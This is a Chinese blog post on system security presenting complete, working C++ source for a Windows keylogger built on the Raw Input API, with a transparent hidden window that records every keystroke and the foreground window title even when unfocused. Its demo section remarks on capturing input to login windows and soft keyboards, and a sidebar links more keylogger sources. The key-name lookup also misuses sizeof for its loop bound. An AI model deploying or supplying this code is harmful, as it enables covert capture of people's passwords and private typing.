系统安全：Ring3下基于GetRawInputData的键盘记录器

最新推荐文章于 2024-03-12 14:36:31 发布
最新推荐文章于 2024-03-12 14:36:31 发布
阅读量1.1k 收藏 8
点赞数 5
分类专栏： 系统安全 文章标签： 系统安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43249758/article/details/116376003
版权

文章目录

参考

3种简单的键盘记录简单介绍
使用GetRawInputData函数实现键盘按键记录
基于RawInput与宿主服务的新型键盘记录器
C++ 使用RAWINPUT，获取键盘原始输入

原理

上网一搜原始输入，一堆机翻的文章，看的人头大
果断放弃，转向 微软官方文档：raw input

注册原始输入设备

默认情况下，所有应用程序都不会接收WM_INPUT消息，为了接收某个设备发出的WM_INPUT消息，你必须先注册这个设备。被注册的设备有任何输入时，应用程序会收到符合所注册的TLC（Top Level Collection）的HID（人体工程学）设备的原始输入消息，即其消息队列会得到一个WM_INPUT消息

获取原始输入数据

捕获到WM_INPUT消息后，此消息的lParam存储了原始输入的句柄
在这里插入图片描述
进而可以使用GetRawInputData，从句柄获取RAWINPUT结构体中的数据，其中便有需要的虚拟键码，将其转ASCII即可
在这里插入图片描述

编码

main.cpp

#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <ctime>
#include "vkey.h"

// 用于接收WM_INPUT的隐藏窗口的句柄
HWND myWindow;
// 当前焦点窗口的句柄
HWND prevWindow;
// 注册原始输入设备
VOID RegKeyboardRawInput(HWND myWindow);
// 自定义消息函数
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

VOID RegKeyboardRawInput(HWND myWindow){
    RAWINPUTDEVICE rawInputDevice[1];
    // 设备类
    rawInputDevice[0].usUsagePage = 0x01;
    // 设备类内的具体设备：键盘
    rawInputDevice[0].usUsage = 0x06;
    // 即使窗口失去焦点位置，仍然会一直接收输入消息
    rawInputDevice[0].dwFlags = RIDEV_INPUTSINK;
    // 用于接收WM_INPUT的窗口句柄
    rawInputDevice[0].hwndTarget = myWindow;
    // 注册
    if (RegisterRawInputDevices(rawInputDevice, 1, sizeof(rawInputDevice[0])) == FALSE){
        std::cout << "register failed." << std::endl;
    }
}

LRESULT CALLBACK WindowProc(_In_  HWND hwnd,_In_  UINT uMsg,_In_  WPARAM wParam,_In_  LPARAM lParam)
{
    switch (uMsg)
    {
        case WM_COMMAND:
            break;
        case WM_PAINT:
            break;
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        case WM_INPUT:{
            char virtualKey[1024] = {'\0'};
            char textInfo[1024] = {'\0'};
            UINT dwSize = 0;
            // 第一次调用函数传NULL获取需要的缓冲区大小
            GetRawInputData((HRAWINPUT)lParam, (UINT)RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
            //分配指定的缓冲区大小
            LPBYTE lpbBuffer = new BYTE[dwSize];
            // 取数据到缓冲区
            GetRawInputData((HRAWINPUT)lParam, (UINT)RID_INPUT, (LPVOID)lpbBuffer, (PUINT)&dwSize, (UINT)sizeof(RAWINPUTHEADER));

            RAWINPUT* raw = (RAWINPUT *)lpbBuffer;
            //这里可以截获所有键盘信息,如需区分不同的键盘输入信息,可以通过设备句柄判断。
            if (raw->header.dwType == RIM_TYPEKEYBOARD){
                // 键被按下就记录一次，否则按住不放的话只显示一个字符
                if (raw->data.keyboard.Message == WM_KEYDOWN){
                    // 获取当前时间
                    char timeStr[50];
                    time_t now = time(NULL);
                    strftime(timeStr, 50, "%x %X", localtime(&now));
                    // 获取焦点窗口名称、键盘输入
                    prevWindow = GetForegroundWindow();
                    GetWindowText(prevWindow, textInfo, 256);
                    // 拼接输出
                    wsprintf(virtualKey, "[%s: %s] %s", &timeStr, &textInfo, GetKeyName(raw->data.keyboard.VKey));
                    std::cout << virtualKey << std::endl;
                }
            }
            delete[] lpbBuffer;
            return 0;
        }
        default:
            return DefWindowProc(hwnd, uMsg, wParam, lParam);
    }
    return 0;
}

int main() {
    //创建一个隐藏窗口
    HINSTANCE hInst;
    hInst = GetModuleHandle(NULL);	//获取一个应用程序或动态链接库的模块句柄
    WNDCLASSEX wcx;
    wcx.cbSize = sizeof(wcx);
    wcx.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC | CS_NOCLOSE;//窗口的风格
    wcx.lpfnWndProc = WindowProc;     //采用自定义消息处理函数
    wcx.cbClsExtra = 0;                // no extra class memory
    wcx.cbWndExtra = 0;                // no extra window memory
    wcx.hInstance = hInst;         //当前应用程序的实例句柄
    wcx.hIcon = LoadIcon(NULL,IDI_APPLICATION); //图标风格
    wcx.hCursor = LoadCursor(NULL,IDC_ARROW);  //鼠标风格
    wcx.hbrBackground = (HBRUSH)WHITE_BRUSH; //背景色
    wcx.lpszMenuName =NULL;  //菜单名
    wcx.lpszClassName = "ITSMYOSDCLASS"; //窗口类的名称
    wcx.hIconSm = NULL;

    if (!RegisterClassEx(&wcx))
    {
        std::cout << "RegisterClassEx failed" << std::endl;
        return 1;
    }

    //窗口在屏幕上的显示位置
    int OSDleft = GetSystemMetrics(SM_CXSCREEN) / 2 - 300;
    int OSDTop = GetSystemMetrics(SM_CYSCREEN) / 2;

    myWindow = CreateWindowEx(
            WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST | WS_EX_TRANSPARENT | WS_EX_NOACTIVATE,//窗口的扩展风格
            wcx.lpszClassName,//上面注册的类名lpszClassName，要完全一致
            NULL,
            WS_VISIBLE | WS_POPUP,//窗口的风格
            OSDleft,//窗口相对于父级的X坐标
            OSDTop,//窗口相对于父级的Y坐标
            300,//窗口的宽度
            300,//窗口的高度
            (HWND)NULL,//没有父窗口，为(HWND)NULL//GetDesktopWindow(),
            (HMENU)NULL,//没有菜单，为NULL
            hInst,//当前应用程序的实例句柄
            (LPVOID)NULL);	//没有附加数据，为NULL

    if (!myWindow)
    {
        std::cout << "CreateWindowEx failed" << std::endl;
        return 1;
    }
    RegKeyboardRawInput(myWindow);
    //消息循环
    MSG msg;
    while (GetMessage(&msg, (HWND)NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

vkey.h

#ifndef _VKEY_H
#define _VKEY_H

struct VKeyInfo{
	USHORT VKey;
	LPCSTR VKname;
};

#define AddVKey(VK, VKName)   {(VK), (VKName)}

static VKeyInfo vkis[] = {
		AddVKey(VK_LBUTTON, "Left mouse button"),
		AddVKey(VK_RBUTTON, "Right mouse button"),
        AddVKey(VK_CANCEL, "Control-break processing"),
		AddVKey(0x04, "Middle mouse button (three-button mouse)"),
		AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
		AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
		AddVKey(0x07, "Undefined"),
		AddVKey(VK_BACK, "BACKSPACE key"),
		AddVKey(VK_TAB, "TAB key"),
		AddVKey(0x0A, "Reserved"),
		AddVKey(0x0B, "Reserved"),
		AddVKey(VK_CLEAR, "CLEAR key"),
		AddVKey(VK_RETURN, "ENTER key"),
		AddVKey(0x0E, "Undefined"),
		AddVKey(0x0F, "Undefined"),
		AddVKey(VK_SHIFT, "SHIFT key"),
		AddVKey(VK_CONTROL, "CTRL key"),
		AddVKey(VK_MENU, "ALT key"),
		AddVKey(VK_PAUSE, "PAUSE key"),
		AddVKey(VK_CAPITAL, "CAPS LOCK key"),
		AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
		AddVKey(VK_HANGUL, "IME Hangul mode"),
		AddVKey(0x16, "Undefined"),
		AddVKey(VK_JUNJA, "IME Junja mode"),
		AddVKey(VK_FINAL, "IME final mode"),
		AddVKey(VK_HANJA, "IME Hanja mode"),
		AddVKey(VK_KANJI, "IME Kanji mode"),
		AddVKey(0x1A, "Undefined"),
		AddVKey(VK_ESCAPE, "ESC key"),
		AddVKey(VK_CONVERT, "IME convert"),
		AddVKey(VK_NONCONVERT, "IME nonconvert"),
		AddVKey(VK_ACCEPT, "IME accept"),
		AddVKey(VK_MODECHANGE, "IME mode change request"),
		AddVKey(VK_SPACE, "SPACEBAR"),
		AddVKey(VK_PRIOR, "PAGE UP key"),
		AddVKey(VK_NEXT, "PAGE DOWN key"),
		AddVKey(VK_END, "END key"),
		AddVKey(VK_HOME, "HOME key"),
		AddVKey(VK_LEFT, "LEFT ARROW key"),
		AddVKey(VK_UP, "UP ARROW key"),
		AddVKey(VK_RIGHT, "RIGHT ARROW key"),
		AddVKey(VK_DOWN, "DOWN ARROW key"),
		AddVKey(VK_SELECT, "SELECT key"),
		AddVKey(VK_PRINT, "PRINT key"),
		AddVKey(VK_EXECUTE, "EXECUTE key"),
		AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"),
		AddVKey(VK_INSERT, "INSERT key"),
		AddVKey(VK_DELETE, "DEL key"),
		AddVKey(VK_HELP, "HELP key"),
		AddVKey(0x30, "0"),
		AddVKey(0x31, "1"),
		AddVKey(0x32, "2"),
		AddVKey(0x33, "3"),
		AddVKey(0x34, "4"),
		AddVKey(0x35, "5"),
		AddVKey(0x36, "6"),
		AddVKey(0x37, "7"),
		AddVKey(0x38, "8"),
		AddVKey(0x39, "9"),
		AddVKey(0x3A, "Undefined"),
		AddVKey(0x3B, "Undefined"),
		AddVKey(0x3C, "Undefined"),
		AddVKey(0x3D, "Undefined"),
		AddVKey(0x3E, "Undefined"),
		AddVKey(0x3F, "Undefined"),
		AddVKey(0x40, "Undefined"),
		AddVKey(0x41, "A"),
		AddVKey(0x42, "B"),
		AddVKey(0x43, "C"),
		AddVKey(0x44, "D"),
		AddVKey(0x45, "E"),
		AddVKey(0x46, "F"),
		AddVKey(0x47, "G"),
		AddVKey(0x48, "H"),
		AddVKey(0x49, "I"),
		AddVKey(0x4A, "J"),
		AddVKey(0x4B, "K"),
		AddVKey(0x4C, "L"),
		AddVKey(0x4D, "M"),
		AddVKey(0x4E, "N"),
		AddVKey(0x4F, "O"),
		AddVKey(0x50, "P"),
		AddVKey(0x51, "Q"),
		AddVKey(0x52, "R"),
		AddVKey(0x53, "S"),
		AddVKey(0x54, "T"),
		AddVKey(0x55, "U"),
		AddVKey(0x56, "V"),
		AddVKey(0x57, "W"),
		AddVKey(0x58, "X"),
		AddVKey(0x59, "Y"),
		AddVKey(0x5A, "Z"),
		AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
		AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
		AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
		AddVKey(0x5E, "Reserved"),
		AddVKey(VK_NUMPAD0,"Numeric keypad 0 key"),
		AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
		AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
		AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
		AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
		AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
		AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
		AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
		AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
		AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
		AddVKey(VK_MULTIPLY, "Multiply key"),
		AddVKey(VK_ADD, "Add key"),
		AddVKey(VK_SEPARATOR, "Separator key"),
		AddVKey(VK_SUBTRACT, "Subtract key"),
		AddVKey(VK_DECIMAL, "Decimal key"),
		AddVKey(VK_DIVIDE, "Divide key"),
		AddVKey(VK_F1, "F1 key"),
		AddVKey(VK_F2, "F2 key"),
		AddVKey(VK_F3, "F3 key"),
		AddVKey(VK_F4, "F4 key"),
		AddVKey(VK_F5, "F5 key"),
		AddVKey(VK_F6, "F6 key"),
		AddVKey(VK_F7, "F7 key"),
		AddVKey(VK_F8, "F8 key"),
		AddVKey(VK_F9, "F9 key"),
		AddVKey(VK_F10, "F10 key"),
		AddVKey(VK_F11, "F11 key"),
		AddVKey(VK_F12, "F12 key"),
		AddVKey(VK_F13, "F13 key"),
		AddVKey(VK_F14, "F14 key"),
		AddVKey(VK_F15, "F15 key"),
		AddVKey(VK_F16, "F16 key"),
		AddVKey(VK_F17, "F17 key"),
		AddVKey(VK_F18, "F18 key"),
		AddVKey(VK_F19, "F19 key"),
		AddVKey(VK_F20, "F20 key"),
		AddVKey(VK_F21, "F21 key"),
		AddVKey(VK_F22, "F22 key"),
		AddVKey(VK_F23, "F23 key"),
		AddVKey(VK_F24, "F24 key"),
		AddVKey(0x88, "Unassigned"),
		AddVKey(0x89, "Unassigned"),
		AddVKey(0x8A, "Unassigned"),
		AddVKey(0x8B, "Unassigned"),
		AddVKey(0x8C, "Unassigned"),
		AddVKey(0x8D, "Unassigned"),
		AddVKey(0x8E, "Unassigned"),
		AddVKey(0x8F, "Unassigned"),
		AddVKey(VK_NUMLOCK, "NUM LOCK key"),
		AddVKey(VK_SCROLL, "SCROLL LOCK key"),
		AddVKey(0x92, "OEM specific"),
		AddVKey(0x93, "OEM specific"),
		AddVKey(0x94, "OEM specific"),
		AddVKey(0x95, "OEM specific"),
		AddVKey(0x96, "OEM specific"),
		AddVKey(0x97, "Unassigned"),
		AddVKey(0x98, "Unassigned"),
		AddVKey(0x99, "Unassigned"),
		AddVKey(0x9A, "Unassigned"),
		AddVKey(0x9B, "Unassigned"),
		AddVKey(0x9C, "Unassigned"),
		AddVKey(0x9D, "Unassigned"),
		AddVKey(0x9E, "Unassigned"),
		AddVKey(0x9F, "Unassigned"),
		AddVKey(VK_LSHIFT, "Left SHIFT key"),
		AddVKey(VK_RSHIFT, "Right SHIFT key"),
		AddVKey(VK_LCONTROL, "Left CONTROL key"),
		AddVKey(VK_RCONTROL, "Right CONTROL key"),
		AddVKey(VK_LMENU, "Left MENU key"),
		AddVKey(VK_RMENU, "Right MENU key"),
		AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
		AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
		AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
		AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
		AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
		AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
		AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
		AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
		AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
		AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
		AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
		AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
		AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
		AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
		AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
		AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
		AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
		AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
		AddVKey(0xB8, "Reserved"),
		AddVKey(0xB9, "Reserved"),
    	AddVKey(0xBB, "the \'+\' key"),
		AddVKey(0xBC, "the \',\' key"),
		AddVKey(0xBD, "the \'-\' key"),
		AddVKey(0xBE, "the \'.\' key"),
		AddVKey(0xBF, " the \'/?\' key"),
		AddVKey(0xC0, " the \'`~\' key"),
		AddVKey(0xC1, "Reserved"),
		AddVKey(0xC2, "Reserved"),
		AddVKey(0xC3, "Reserved"),
		AddVKey(0xC4, "Reserved"),
		AddVKey(0xC5, "Reserved"),
		AddVKey(0xC6, "Reserved"),
		AddVKey(0xC7, "Reserved"),
		AddVKey(0xC8, "Reserved"),
		AddVKey(0xC9, "Reserved"),
		AddVKey(0xCA, "Reserved"),
		AddVKey(0xCB, "Reserved"),
		AddVKey(0xCC, "Reserved"),
		AddVKey(0xCD, "Reserved"),
		AddVKey(0xCE, "Reserved"),
		AddVKey(0xCF, "Reserved"),
		AddVKey(0xD0, "Reserved"),
		AddVKey(0xD1, "Reserved"),
		AddVKey(0xD2, "Reserved"),
		AddVKey(0xD3, "Reserved"),
		AddVKey(0xD4, "Reserved"),
		AddVKey(0xD5, "Reserved"),
		AddVKey(0xD6, "Reserved"),
		AddVKey(0xD7, "Reserved"),
		AddVKey(0xD8, "Unassigned"),
		AddVKey(0xD9, "Unassigned"),
		AddVKey(0xDA, "Unassigned"),
		AddVKey(0xDB, "the \'[{\' key"),
	    AddVKey(0xDC, "the \'\\|\' key"),
	    AddVKey(0xDD, "the \']}\' key"),
	    AddVKey(0xDE,"the \'single-quote/double-quote\' key"),
	    AddVKey(0xDF, "Used for miscellaneous characters; it can vary by keyboard."),
		AddVKey(0xE0, "Reserved"),
		AddVKey(0xE1, "OEM specific"),
		AddVKey(0xE2, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
		AddVKey(0xE3, "OEM specific"),
		AddVKey(0xE4, "OEM specific"),
		AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
		AddVKey(0xE6, "OEM specific"),
		AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
		AddVKey(0xE8, "Unassigned"),
		AddVKey(0xE9, "OEM specific"),
		AddVKey(0xEA, "OEM specific"),
		AddVKey(0xEB, "OEM specific"),
		AddVKey(0xEC, "OEM specific"),
		AddVKey(0xED, "OEM specific"),
		AddVKey(0xEF, "OEM specific"),
		AddVKey(0xF0, "OEM specific"),
		AddVKey(0xF1, "OEM specific"),
		AddVKey(0xF2, "OEM specific"),
		AddVKey(0xF3, "OEM specific"),
		AddVKey(0xF4, "OEM specific"),
		AddVKey(0xF5, "OEM specific"),
		AddVKey(VK_ATTN, "Attn key"),
		AddVKey(VK_CRSEL, "CrSel key"),
		AddVKey(VK_EXSEL, "ExSel key"),
		AddVKey(VK_EREOF, "Erase EOF key"),
		AddVKey(VK_PLAY, "Play key"),
		AddVKey(VK_ZOOM, "Zoom key"),
	    AddVKey(VK_NONAME, "Reserved"),
	    AddVKey(VK_PA1, "PA1 key"),
		AddVKey(VK_OEM_CLEAR, "Clear key"),
		AddVKey(0xFF, "Unknown Virtual-Key Code")
};


LPCSTR GetKeyName(USHORT VKey)
{
    int i;
	for( i = 0; i < sizeof(vkis); i++)
	{
		if(VKey == vkis[i].VKey)
			return vkis[i].VKname;
	}
	return vkis[--i].VKname;
}


#endif

演示

在这里插入图片描述
当然qq密码啥的没这么容易获取

在这里插入图片描述
过个普通软键盘还是不成问题的
在这里插入图片描述

无名J0kзr
关注
  • 5
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
getrawinputdata鼠标_Windows中多指针输入技术的实现与应用(4多鼠标输入的底层实现)...
weixin_39877166的博客
12-21 996
MessageBox(hWnd,"RawInput Register Error.","RawInput initfailed!",MB_OK);}这里需要注意的是并不是有多少个鼠标输入就需要注册多少个RawInput设备，一般来说，注册一个RawInput设备处理目前焦点的原始输入数据就足够了，同样可以获得所有的鼠标原始输入数据。除非想对不同焦点的原始输入数据进行处理，才需要注册多个usUsag...
getrawinputdata鼠标_获取鼠标的原始移动值
weixin_36378793的博客
12-30 1401
获取鼠标的原始移动值，应用于类似cs中鼠标移动，控制相机的转向问题！最近在模仿cs的部分功能，做一个小射击游戏。用w-a-s-d控制相机在平面上移动，用鼠标控制转向时，遇到一个问题。获取鼠标位置时，使用的是GetCursorPos方法，这个方面返回鼠标的当前屏幕坐标，这样就存在一个问题：假设鼠标当前坐标p0(x,y) =(300, 300)移动鼠标向右，此时p1(500, 400),这样有个del...
精选_使用GetRawInputData函数实现键盘按键记录_源码打包
03-09
使用GetRawInputData函数实现键盘按键记录
[源码和文档分享]使用GetRawInputData函数实现键盘按键记录
qq_38474647的博客
12-29 665
背景 对于按键记录这方面的功能自己写过几个，实现的方式也都不同。例如在应用层，可以使用全局键盘钩子实现按键记录，也可以使用获取系统设备原始输入方式来实现按键记录。在内核层下，我们可以在驱动设备上面挂在一个键盘过滤设备，创建一个过滤驱动，就可以获取键盘消息等等。 现在，我们主要讲解的是应用层上使用获取原始输入的方法实现的按键记录。这种方式比全局键...
getrawinputdata鼠标_【技术分享】Windows 键盘记录器 part1：应用层方法
weixin_39759155的博客
12-21 602
预估稿费：80RMB投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿0x00 前言正如我们所知，键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分，我将列出一些Windows应用层常见的键盘记录的方式(不是全部)。下面是本文提到的一些方法：1. Windows钩子(SetWindowsHookEx)2. Windows轮询(GetAsyncKeyState、GetKeyB...
键盘记录器【亲自开发！测试有效！】（这是动态库）
07-12
键盘记录器通常由系统编程人员使用，以便于调试、测试或者安全分析。它们能够记录用户在特定应用程序或操作系统中的所有按键动作，这对于软件开发者来说是很有用的，因为他们可以了解用户与软件的交互过程。然而，...
kbd_logger.rar_driver key_key logger_raw input_键盘记录_键盘记录器
09-23
个键盘记录器(附源代码)，能够记录所有的按键信息，包括keyup。记录原始数据，可以通过模拟按键重现。需要vc9的运行库。没有编静态链接的版本。 主要流程： 1、向系统注册一个或者多个原始输入设备 2、在你注册的...
RawInput做的键盘记录器 含源码
06-02
需要注意的是，虽然RawInput_logger是Ring3级别的键盘记录器，即运行在用户模式下，但它的效能相比驱动级的键盘钩子（Hook）还是有所欠缺。驱动级键盘钩子可以直接在内核模式下拦截键盘输入，效率更高且难以被检测到...
易语言-易语言编写键盘记录
06-25
易语言编写键盘记录源码 Init 初始化键盘监视 GetData 键盘被按下 主要由这两个API实现 RegisterRawInputDevices GetRawInputData 大部分API来自MSDN，小部分用易语言助手词库
getrawinputdata鼠标_使用raw input 代替全局键盘钩子
weixin_39809168的博客
12-21 732
//关于raw input 请查看msdn https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536%28v=vs.85%29.aspx//效率 比 键盘钩子高太多 ，但是BCB 中无法识别 RAWINPUTDEVICE 结构 和RAW相关的函数//rawinput4.cpp : 定义应用程序的入口点。//#include"...
原始输入键盘钩子（raw input hook）
07-19
使用原始输入（raw input），设置全局键盘钩子，来hook键盘消息。源码来自codeproject。
键盘记录器源代码
10-25
键盘记录器源代码
getrawinputdata鼠标,RAWINPUT-如何获取鼠标滚轮数据
weixin_36050664的博客
12-21 536
I'm using rawinput with directx...i'm trying to zoom with the camera when mouse wheel is used...when I run the program with the following code, the data I get from rawinput for the usbuttondata goes t...
驱动中实现模拟键盘按键
visualliu的专栏
04-24 2592
在ring3中实现模拟键盘按键有N^N种方式，比如SendInput()、keybd_event()……但在驱动中要怎么模拟呢？ 1、写端口 #define defI8042_DATA_PORT ((PUCHAR)0x60) #define defI8042_CTRL_PORT ((PUCHAR)0x64) #define defOBUFFER_FULL 0x01 BOOLEAN WaitFo
Qt 使用RAW INPUT获取HID触摸屏，笔设备，鼠标的原始数据，最低受支持的客户端：Windows XP [仅限桌面应用]
最新发布
weixin_62370184的博客
03-12 1555
在开发绘图应用程序时，经常会需要读取笔设备的数据，通过对笔数据的解析，来判断笔的坐标，粗细。如果仅仅只是读取鼠标的坐标，就需要人为在应用程序端去修改笔的粗细，并且使用体验不好，如果可以实时获取到触摸屏的笔数据的话，就可以大大提高体验感。请注意，应用程序可以注册当前未附加到系统的设备。若要获取系统上的原始输入设备列表，应用程序会调用。从官网的概述可以知道Raw Input API为应用程序提供了一种稳定而可靠的方式，可以接受来自任何 HID（包括键盘和鼠标）的原始输入。结构的数组，这些结构为所需的设备指定。
windows黑客编程系列（十一）：按键记录
至臻求学，胸怀云月
05-07 2392
文章目录功能技术模块按键记录WINAPIRegisterRawInputDevicestagRAWINPUTDEVICE结构体GetRawInputData编码实现 功能技术模块 病毒木马的入侵并潜伏在用户计算机上总是有着某种目的，例如获取用户隐私的办公文件或是账号密码，或是控制肉鸡，或是进行加密磁盘文件然后进行勒索。 按键记录 顾名思义，即程序在后台记录下用户在计算机上使用的所有按键信息，信息...
虚拟键值表, virtual key code
05-11 7856
Virtual-Key Codes VK_LBUTTON (01)Left mouse buttonVK_RBUTTON (02)Right mouse buttonVK_CANCEL (03)Control-break processingVK_MBUTTON (04)Middle mouse button (three-button mouse)VK_XBUTTON1 (0
说说猎豹安全浏览器
莫灰灰的专栏
05-24 5351
最近金山也加入了浏览器大军，推出了其首款浏览器 - “猎豹”，主打安全牌，直指360安全浏览器。我在第一时间拿到了猎豹浏览器的安装包，使用感受是，总体来说还不错，但是需要完善的地方还有很多。 其中其主打宣称的BIPS (Browser Intrusion Prevention System)安全系统有种令人眼前一亮的赶脚，是否真的有这么神奇吗？于是我操起IDA简单的分析了一下。 1.猎豹浏览器
raw input 使用上的一些陷阱
Kevin_qing的专栏
07-30 7491
rawinput获取数据的2个api getrawinputdata()和getrawinputbuffer() msdn并未说明什么情况下使用哪种api,而一般来说getrawinputdata()就可以获取到数据的，想当然的我们就会认为只需要使用其中一种就可以。 但是实际测试说明光使用getrawinputdata()是会丢失输入数据的。   做一个简单的测试: 第一步：WM_INP
Unity程序通过GetRawInputData获取Windows系统键盘原始输入
07-15
在Unity中，您可以使用`GetRawInputData`函数来获取Windows系统键盘的原始输入。以下是一个示例代码，演示如何使用该函数： ```c# using UnityEngine; using System; using System.Runtime.InteropServices; public class RawInputExample : MonoBehaviour { [DllImport("user32.dll")] public static extern uint GetRawInputData(IntPtr hRawInput, uint uiCommand, IntPtr pData, ref uint pcbSize, uint cbSizeHeader); [StructLayout(LayoutKind.Sequential)] public struct RAWINPUTDEVICE { public ushort usUsagePage; public ushort usUsage; public uint dwFlags; public IntPtr hwndTarget; } [StructLayout(LayoutKind.Sequential)] public struct RAWINPUTHEADER { public uint dwType; public uint dwSize; public IntPtr hDevice; public IntPtr wParam; } [StructLayout(LayoutKind.Sequential)] public struct RAWKEYBOARD { public ushort MakeCode; public ushort Flags; public ushort Reserved; public ushort VKey; public uint Message; public ulong ExtraInformation; } const uint RIDEV_INPUTSINK = 0x00000100; void Start() { // 注册原始输入设备 RAWINPUTDEVICE[] rawInputDevices = new RAWINPUTDEVICE[1]; rawInputDevices[0].usUsagePage = 0x01; rawInputDevices[0].usUsage = 0x06; rawInputDevices[0].dwFlags = RIDEV_INPUTSINK; rawInputDevices[0].hwndTarget = IntPtr.Zero; if (!RegisterRawInputDevices(rawInputDevices, (uint)rawInputDevices.Length, (uint)Marshal.SizeOf(typeof(RAWINPUTDEVICE)))) { Debug.LogError("Failed to register raw input devices."); return; } } void Update() { uint dataSize = 0; // 获取原始输入数据的大小 GetRawInputData(IntPtr.Zero, 0x10000003, IntPtr.Zero, ref dataSize, (uint)Marshal.SizeOf(typeof(RAWINPUTHEADER))); if (dataSize > 0) { IntPtr data = Marshal.AllocHGlobal((int)dataSize); try { // 获取原始输入数据 GetRawInputData(IntPtr.Zero, 0x10000003, data, ref dataSize, (uint)Marshal.SizeOf(typeof(RAWINPUTHEADER))); RAWINPUTHEADER header = Marshal.PtrToStructure<RAWINPUTHEADER>(data); if (header.dwType == 0x01) // 键盘输入 { RAWKEYBOARD keyboardData = Marshal.PtrToStructure<RAWKEYBOARD>(IntPtr.Add(data, (int)header.dwSize)); // 处理键盘输入 Debug.Log("Key pressed: " + keyboardData.VKey); } } finally { Marshal.FreeHGlobal(data); } } } [DllImport("user32.dll")] private static extern bool RegisterRawInputDevices(RAWINPUTDEVICE[] pRawInputDevices, uint uiNumDevices, uint cbSize); } ``` 在`Start`方法中，我们使用`RegisterRawInputDevices`函数注册原始输入设备，并指定我们要监听键盘输入的目标窗口。 在`Update`方法中，我们使用`GetRawInputData`函数获取原始输入数据。首先，我们通过指定命令0x10000003和传递空指针来获取数据的大小。然后，我们根据获取的大小分配内存并再次调用`GetRawInputData`函数来获取实际的原始输入数据。最后，我们根据输入数据的类型（键盘输入）处理相应的逻辑。 请注意，此示例代码只是演示了如何获取原始键盘输入数据，并未进行详细的错误处理和其他输入设备的处理。在实际使用中，您可能需要根据具体需求进行适当的修改和补充。
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值